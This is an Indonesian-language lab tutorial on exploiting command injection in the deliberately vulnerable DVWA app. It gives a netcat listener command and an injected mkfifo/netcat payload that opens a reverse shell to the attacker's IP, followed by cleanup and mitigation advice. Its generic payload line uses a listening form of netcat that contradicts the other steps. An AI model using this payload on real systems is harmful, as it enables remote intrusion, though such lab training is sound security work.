Hands-on mkfifo attack backdoor di DVWA via Command Injection
Jump to navigation
Jump to search
Langkah-Langkah Eksploitasi Command Injection
Prasyarat
- DVWA sudah diinstal dan berjalan pada server yang rentan (dapat menggunakan Kali Linux atau mesin virtual lain).
- Netcat sudah terpasang pada mesin attacker (Kali Linux 2024.3) untuk mendapatkan reverse shell.
- Pengaturan DVWA: Set level keamanan pada "Low" agar dapat memanfaatkan command injection.
Langkah 1: Konfigurasi DVWA
- Buka DVWA di browser dengan alamat `http://localhost/dvwa/`.
- Masuk menggunakan kredensial default: `admin` sebagai username dan `password` sebagai password.
- Setelah masuk, buka menu DVWA Security dan pastikan level keamanan diset ke Low.
Langkah 2: Akses Halaman Command Injection
- Di halaman utama DVWA, pilih modul Command Injection.
- Pada halaman ini, terdapat input untuk memeriksa alamat IP. Biasanya ini memerlukan input seperti "127.0.0.1" untuk melakukan ping.
Langkah 3: Persiapan di Mesin Attacker
- Di mesin Kali Linux, buka terminal.
- Jalankan perintah Netcat untuk mendengarkan koneksi pada port yang sama (4444) seperti yang akan digunakan dalam script:
nc -lvp 4444
Langkah 4: Eksekusi Backdoor Command Injection
- Kembali ke halaman Command Injection di DVWA.
- Pada input, masukkan script berikut (ganti "IP-address" dengan alamat IP mesin attacker):
IP-address;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
Contoh jika IP attacker adalah 192.168.1.10:
192.168.1.10;mkfifo /tmp/pipe;sh /tmp/pipe | nc 192.168.1.10 4444 > /tmp/pipe
- Klik Submit untuk mengirimkan perintah ke DVWA.
Langkah 5: Verifikasi Reverse Shell
- Di terminal Netcat pada mesin attacker, cek apakah telah muncul shell dari server DVWA.
- Anda kini memiliki akses ke server DVWA melalui reverse shell.
Langkah 6: Cleanup
Untuk menjaga agar DVWA tetap dalam kondisi baik, hapus file pipe sementara di `/tmp`:
rm /tmp/pipe
Pembahasan
Bagaimana Script Ini Bekerja:
- `mkfifo /tmp/pipe`: Membuat FIFO (named pipe) di direktori `/tmp`.
- `sh /tmp/pipe | nc IP-address 4444 > /tmp/pipe`: Script ini memanfaatkan Netcat untuk membuat koneksi ke alamat IP attacker di port 4444. Data dikirim dan diterima melalui named pipe.
Keamanan dan Pencegahan: Kerentanan command injection ini dapat dihindari dengan:
- Melakukan validasi input secara ketat.
- Menghindari eksekusi langsung dari input pengguna dalam shell.
- Menggunakan framework web yang menghindari command injection.
Dengan mengikuti langkah-langkah ini, Anda dapat menunjukkan eksploitasi command injection dan memberikan pemahaman mendalam mengenai mitigasi serta konsekuensinya dalam keamanan sistem.